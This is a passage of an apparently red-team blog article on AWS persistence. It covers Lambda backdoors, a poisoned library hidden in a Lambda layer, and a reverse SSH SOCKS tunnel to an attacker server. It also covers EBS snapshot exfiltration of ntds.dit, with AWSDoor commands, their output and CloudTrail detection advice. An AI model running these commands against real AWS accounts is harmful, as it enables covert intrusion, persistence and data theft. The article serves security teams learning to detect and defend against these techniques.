<p style="text-align: justify;">This <strong>means the attacker doesn’t need to create new credentials or modify IAM directly</strong>. As long as they maintain access to the resource, they can continue using the role’s permissions, which makes this method both effective and harder to detect.</p>
<p> </p>
<h4>Lambda</h4>
<p style="text-align: justify;"><strong>AWS Lambda functions have become a popular choice for running code</strong> in the cloud without having to manage servers. They allow developers and organizations to automate tasks, respond to events, and build scalable applications that run only when needed. For example, Lambda can process files uploaded to S3, handle API requests, or automatically react to changes in a database.</p>
<p style="text-align: justify;">For example, in order to manage the account administrators, it is possible to create a <strong>Lambda function that adds privileges to a user when he is added to a DynamoDB database</strong>: the modification of the DynamoDB trigger the lambda code and makes it change the user privilege according to the change in the database.</p>
<p style="text-align: justify;">Therefore, <strong>it is not usual to associate an IAM identity to a lambda.</strong></p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Over-privileged role</span></h5>
<p style="text-align: justify;">A way to get persistence on an AWS account is to either<strong> associate an overprivileged IAM identity</strong> to an existing lambda or modify the code of an already existing over-privileged lambda.</p>
<p style="text-align: justify;">For example, the attacker can:</p>
<ul style="text-align: justify;">
<li>Create a lambda function</li>
<li>Associate an IAM privileged role (using the NotAction trick for example)</li>
<li>Add a python code allowing either execute arbitrary code or extract the lambda temporary credentials</li>
<li>Expose the lambda directory on Internet through an API Gateway or a Lambda Function</li>
</ul>
<p style="text-align: justify;">The following <strong>figure summarizes the persistence deployment:</strong></p>
<p> </p>
<figure id="attachment_27398" aria-describedby="caption-attachment-27398" style="width: 708px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27398" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-234x191.png" alt="Lambda persistence deployment" width="708" height="578" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-768x627.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1.png 1142w" sizes="auto, (max-width: 708px) 100vw, 708px" /><figcaption id="caption-attachment-27398" class="wp-caption-text"><em>Lambda persistence deployment</em></figcaption></figure>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Lambda layers</span></h5>
<p style="text-align: justify;">The Lambda <strong>persistence technique described above is effective, but it has a major drawback</strong>: the malicious <strong>code is easy to spot</strong>. If someone modifies the main business logic of the function or reviews the source during an investigation, the backdoor will likely be discovered and removed.</p>
<p style="text-align: justify;">A more subtle approach <strong>is to hide the malicious payload in a Lambda layer</strong> rather than in the function code itself.</p>
<p style="text-align: justify;">A Lambda layer is a way to <strong>distribute shared dependencies such as libraries or custom runtimes</strong>. Instead of embedding these directly into the function, you can upload them separately and attach them to one or more Lambda functions. This keeps the deployment package lighter and makes it easier to reuse code across projects. Layers are commonly used to include tools like requests or AWS SDKs (boto3) across multiple functions.</p>
<p style="text-align: justify;">From AWS’s perspective, <strong>the layer is attached to the function, but its contents are not displayed directly in the console.</strong></p>
<p style="text-align: justify;">As shown in the screenshot below, AWS only displays the presence of the layer, and to inspect it, a user has to manually browse to the Lambda Layers panel and download it as a ZIP file.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27400 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-437x167.png" alt="Lambda layer not clearly visible in the panel" width="835" height="319" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-437x167.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-768x294.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-1536x587.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1.png 1611w" sizes="auto, (max-width: 835px) 100vw, 835px" /></p>
<p><img loading="lazy" decoding="async" class="wp-image-27402 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-437x44.png" alt="List of layers associated to a lambda" width="1371" height="138" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-437x44.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-768x78.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-1536x155.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1.png 1634w" sizes="auto, (max-width: 1371px) 100vw, 1371px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>The use of a layer is displayed</strong> (and can be easily missed) but in order to download the code, the <strong>user needs to go on a specific Lambda Layer panel</strong> and download (not display) it in Zip format:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27404 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-437x151.png" alt="The content of the layer is not displayed, it is only possible to download the layer" width="1013" height="350" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-768x265.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-1536x531.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1.png 1704w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></p>
<p> </p>
<p style="text-align: justify;">These extra <strong>steps can make defenders less likely to review the layer’s content</strong> during the initial triage.</p>
<p style="text-align: justify;">An attacker can take advantage of this by creating a layer that contains a poisoned version of a standard library, such as requests. By overriding an internal function with malicious behavior, the attacker gains remote code execution each time the function is used.</p>
<p style="text-align: justify;">For example, after downloading the requests package using pip:</p>
<p> </p>
<pre style="text-align: justify;">pip install -t python requests</pre>
<p> </p>
<p style="text-align: justify;">The attacker <strong>modifies the get() function to execute arbitrary commands</strong>:</p>
<p> </p>
<figure id="attachment_27406" aria-describedby="caption-attachment-27406" style="width: 932px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27406" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-287x191.png" alt="Poisonning of requests.get function" width="932" height="620" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-287x191.png 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-59x39.png 59w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-768x512.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1.png 1449w" sizes="auto, (max-width: 932px) 100vw, 932px" /><figcaption id="caption-attachment-27406" class="wp-caption-text"><em>Poisonning of requests.get function</em></figcaption></figure>
<p> </p>
<p>Then, <strong>the package is zipped and deployed as a layer</strong>, which is attached to the target function:</p>
<p> </p>
<figure id="attachment_27408" aria-describedby="caption-attachment-27408" style="width: 647px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27408" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="The layers is attached to the lambda function" width="647" height="259" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1.png 1003w" sizes="auto, (max-width: 647px) 100vw, 647px" /><figcaption id="caption-attachment-27408" class="wp-caption-text"><em>The layers is attached to the lambda function</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Finally,<strong> the Lambda source code is updated to use the poisoned library</strong>, which may appear harmless at first glance:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27410 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-437x126.png" alt="Code seemingly harmless, calling the poisoned get() function" width="864" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-768x221.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1.png 1235w" sizes="auto, (max-width: 864px) 100vw, 864px" /></p>
<p> </p>
<p style="text-align: justify;">What <strong>looks like a legitimate HTTP request is now a trigger for hidden malicious behavior</strong>. Unless the defender inspects the actual content of the attached layer, this backdoor may remain undetected.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<pre><br /><br />python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l<br />[+] The following trust policy will be created :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "Service": "lambda.amazonaws.com"<br />      },<br />      "Action": "sts:AssumeRole"<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Layer created<br />[+] Created lambda function lambda_test2<br />[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/</pre>
<p> </p>
<p style="text-align: justify;">A few additional parameter can be used:</p>
<ul style="text-align: justify;">
<li><strong>-l : use a lambda layer</strong>, otherwise include the malicious code directly in the lambda</li>
<li><strong>-g: use a gateway api</strong>, otherwise, use a FunctionURL</li>
</ul>
<p style="text-align: justify;"><strong>The GatewayAPI is a cleaner way to expose a lambda on Internet</strong>, however, it is possible to easily spot that the lambda can be reached from the Internet as it is displayed as a trigger:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27413 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-373x191.png" alt="API Gateway is visible as a trigger" width="635" height="325" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-768x393.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1.png 1372w" sizes="auto, (max-width: 635px) 100vw, 635px" /></p>
<p> </p>
<p style="text-align: justify;">The payload deployed by default takes a python code passed as the get parameter cmd, execute it and output the data stored in the result variable:</p>
<p> </p>
<pre style="text-align: justify;">curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` <br />&gt;&gt; {result: “Hello World”}</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>Lambda layers are often overlooked during incident response</strong>, especially when only the function code is reviewed. Since layers are not displayed inline in the Lambda console and must be downloaded manually as ZIP archives, <strong>malicious content can easily go unnoticed</strong>. This makes layers an attractive location for attackers to hide backdoors or poisoned dependencies.</p>
<p style="text-align: justify;">The <strong>following detection and mitigation strategies can help security teams</strong> identify and respond to suspicious use of Lambda layers:</p>
<ul>
<li style="text-align: justify;"><strong>Audit Lambda Layer Attachments</strong>: The UpdateFunctionConfiguration event is recorded by CloudTrail when a new layer is attached to a Lambda function. It is then possible to track unusual changes or associations between unrelated teams or projects.</li>
<li style="text-align: justify;"><strong>Restrict layer update to CICD workflow</strong>: Prevent any layer modification but from the CICD pipeline, by whitelisting the roles allowed to do it. Focus detection and threat hunting effort on misusage / update of this role.</li>
<li style="text-align: justify;"><strong>Validate lambda exposed directly on the internet</strong>: Exposing lambda on the Internet can be a sign of persitence deployment. Any usual configuration modification implying the exposition of such resource on the internet must be investigated</li>
</ul>
<p> </p>
<figure id="attachment_27416" aria-describedby="caption-attachment-27416" style="width: 830px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27416" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-365x191.png" alt="Event raised when creating an APIGateway" width="830" height="434" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-365x191.png 365w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1.png 1395w" sizes="auto, (max-width: 830px) 100vw, 830px" /><figcaption id="caption-attachment-27416" class="wp-caption-text"><em>Event raised when creating an APIGateway</em></figcaption></figure>
<p> </p>
<figure id="attachment_27418" aria-describedby="caption-attachment-27418" style="width: 825px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27418" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-398x191.png" alt="Event raised when associating an URL to a Lambda" width="825" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-398x191.png 398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-768x369.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-1536x738.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1.png 1599w" sizes="auto, (max-width: 825px) 100vw, 825px" /><figcaption id="caption-attachment-27418" class="wp-caption-text"><em>Event raised when associating an URL to a Lambda</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While <strong>layers are a powerful and useful feature, they represent a blind spot in many AWS security</strong> monitoring setups.</p>
<p> </p>
<h4 style="text-align: justify;">EC2</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Socks</span></h5>
<p style="text-align: justify;">AWS Systems Manager (SSM)<strong> provides a powerful and flexible way to manage and interact with EC2 instances</strong> without requiring direct network access such as SSH or RDP. At its core, SSM enables remote management by using an agent installed on the instance, which communicates securely with the Systems Manager service. Through this channel, <strong>administrators can execute commands, run scripts, or open interactive shell sessions on instances</strong>, all without exposing them to the public internet or managing bastion hosts.</p>
<p style="text-align: justify;">One of the main advantages of <strong>SSM is that it reduces the attack surface by limiting the exposed services</strong>. Since communication is initiated from the instance itself, which reaches out to the SSM service endpoints, the approach works even in secured network environment where inbound access is restricted.</p>
<p style="text-align: justify;">From a security perspective, <strong>while SSM reduces exposure, it also introduces new risks</strong>. For example, if an attacker compromises an identity with permission to start SSM sessions or send commands, they can gain remote code execution on the instance without needing any network foothold.</p>
<p style="text-align: justify;">An attacker with <strong>access to the AWS account can leverage SSM capabilities to compromise an EC2 instance</strong> and use it as a network pivot. One common approach is to deploy an SSH reverse SOCKS proxy. Using SSM, the attacker can execute commands on the EC2 instance to deploy an SSH key, then run a command to expose the EC2’s SSH port back to their own server:</p>
<p> </p>
<pre style="text-align: justify;">ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f</pre>
<p> </p>
<p style="text-align: justify;">Then, the attacker, from his server, can open an SSH socks with the following command:</p>
<p> </p>
<pre style="text-align: justify;">ssh -D 4444 ssm-user@127.0.0.1:2222</pre>
<p> </p>
<p style="text-align: justify;">This allows the attacker to <strong>tunnel traffic through the compromised EC2</strong>, using it as a foothold inside the network.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Snapshot exfiltration</span></h5>
<p style="text-align: justify;">While not a persistence mechanism, <strong>snapshot exfiltration is a powerful technique for data exfiltration</strong> in AWS environments. It takes advantage of the ability to share Elastic Block Store (EBS) snapshots across AWS accounts. While this feature is intended for backup or collaboration, it can be leveraged for massive data exfiltration.</p>
<p style="text-align: justify;">An attacker <strong>with sufficient permissions in a compromised AWS account can create a snapshot of an EBS volume</strong>, then share it with an external account they control.</p>
<p> </p>
<figure id="attachment_27420" aria-describedby="caption-attachment-27420" style="width: 880px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27420" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-320x191.png" alt="Snapshot shared" width="880" height="525" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-320x191.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-768x459.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1.png 1186w" sizes="auto, (max-width: 880px) 100vw, 880px" /><figcaption id="caption-attachment-27420" class="wp-caption-text"><em>Snapshot shared</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">From that external AWS Account,<strong> the snapshot can be mounted, copied, and inspected</strong> giving the attacker full access to the underlying disk data without ever downloading anything from the target environment directly.</p>
<p style="text-align: justify;">This method is <strong>particularly dangerous when applied to sensitive infrastructure</strong>. For example, if a domain controller is virtualized in AWS, an attacker can take a snapshot of its volume, share it with his own <strong>AWS Account and extract sensitive files like ntds.dit.</strong></p>
<p> </p>
<figure id="attachment_27422" aria-describedby="caption-attachment-27422" style="width: 773px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class=" wp-image-27422" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-244x191.png" alt="Extraction of NTDS.DIT through AWS Snapshot" width="773" height="605" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-244x191.png 244w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-768x602.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1.png 1018w" sizes="auto, (max-width: 773px) 100vw, 773px" /><figcaption id="caption-attachment-27422" class="wp-caption-text"><em>Extraction of NTDS.DIT through AWS Snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">All of this can <strong>happen without needing to interact with the instance over the network</strong>, by passing any security tools deployed on the internal network.</p>
<p style="text-align: justify;">This is a low-noise, high-impact data exfiltration technique that abuses AWS-native capabilities that goes unnoticed if specific controls aren’t in place.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">These <strong>two techniques are implemented on AWSDoor</strong>. The following commands can be used to export a specific EC2 instance:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   <br />   <br />[-] The following volumes will be snapshoted and shared with 503561426720:                                       <br />        - vol-09ce1bf602374a743<br />[+] Do you want to apply this change? (yes/no): yes<br />[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743<br />[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720</pre>
<p> </p>
<p style="text-align: justify;">Likewise, the SSH socks action can be automated:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd<br /><br />[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da<br />[-] Waiting 10 seconds for execution<br />[+] Status: Success</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection</span></h5>
<p style="text-align: justify;">For the snapshot part, <strong>CloudTrail logs several events</strong>:</p>
<ul>
<li style="text-align: justify;"><strong>CreateSnapshot</strong> logged when a snapshot is created. This is a routine operation in most environments with backup policies, so it&#8217;s not inherently suspicious. However, it&#8217;s easy for attackers to blend into the noise by mimicking standard backup activity.</li>
<li style="text-align: justify;"><strong>ModifySnapshotAttribute</strong> when the snapshot is shared: while modifying a snapshot attribute is not unusual, a simple analysis of the content shows that the snapshot has been shared to a remote account:</li>
</ul>
<p> </p>
<figure id="attachment_27425" aria-describedby="caption-attachment-27425" style="width: 836px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27425" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-186x191.png" alt="Event rised when sharing a snapshot" width="836" height="858" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-186x191.png 186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-38x39.png 38w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1.png 927w" sizes="auto, (max-width: 836px) 100vw, 836px" /><figcaption id="caption-attachment-27425" class="wp-caption-text"><em>Event rised when sharing a snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Therefore, it is possible to limit this type of exploit by monitoring the ModifySnapshotAttribute and ensure that the userId set is in the range of the accounts linked to the organization.</p>
<p style="text-align: justify;">Likewise, some security by obscurity method would be to add specific tags when Snapshot are performed for backup purpose and <strong>raise an alert when a snapshot is created without the appropriate tag</strong>. The tag can for example be a hash of the creation time seeded by a secret only known by the backup tool:</p>
<p> </p>
<pre style="text-align: justify;">BackupTag=HMAC(creation_time, secret)</pre>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">For the reverse socks exploitation, <strong>it depends on the way the SSM access is performed</strong>:</p>
<ul>
<li style="text-align: justify;"><strong>From the AWS GUI</strong>: a StartSession event is logged on CloudTrails when the attacker starts the remote connection to the machine. The log contains the attacker IP address as well as the EC2 id targeted.</li>
</ul>
<p> </p>
<figure id="attachment_27427" aria-describedby="caption-attachment-27427" style="width: 853px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27427" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-437x145.png" alt="Event raised during SSM connection" width="853" height="283" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-768x254.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1.png 1291w" sizes="auto, (max-width: 853px) 100vw, 853px" /><figcaption id="caption-attachment-27427" class="wp-caption-text"><em>Event raised during SSM connection</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>From the AWS CLI or AWSDoor</strong>, the StartSession event is not raised but the GetCommandInvocation is logged instead:</li>
</ul>
<p> </p>
<figure id="attachment_27430" aria-describedby="caption-attachment-27430" style="width: 890px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27430" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-437x168.png" alt="Event raised during SSM command invocation" width="890" height="342" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-768x295.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1.png 1264w" sizes="auto, (max-width: 890px) 100vw, 890px" /><figcaption id="caption-attachment-27430" class="wp-caption-text"><em>Event raised during SSM command invocation</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, whatever the technique used, CloudTrails does not log the full commandline sent. Therefore, it is still interesting and important to add a EDR solution directly on the computing ressources.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Defense impairment</h2>
<p style="text-align: justify;">Defense impairment refers to any <strong>deliberate action taken by an attacker to weaken, disable, or bypass the security monitoring and detection</strong> capabilities of a target environment. In AWS, this typically involves tampering with logging configurations, disabling security services, or altering alerting mechanisms to avoid detection during or after an attack.</p>
<p style="text-align: justify;"><strong>AWS provides several built-in services designed to monitor activity</strong>, enforce compliance, and alert on suspicious behavior. These include <strong>CloudTrail for API call logging, CloudWatch Logs and CloudWatch Alarms for real-time monitoring</strong> and alerting, GuardDuty for threat detection, Security Hub for centralized security findings, and Config for resource configuration tracking. More advanced <strong>environments may also rely on third-party SIEMs or CSPM platforms</strong> integrated into their AWS accounts.</p>
<p style="text-align: justify;">Disabling or modifying any of these <strong>services can significantly reduce the visibility defenders</strong> have over malicious activity, making defense impairment a critical tactic in many cloud-based attacks.</p>
<p> </p>
<h3 style="text-align: justify;">CloudTrail and CloudWatch</h3>
<h4 style="text-align: justify;">Introduction to AWS logging</h4>
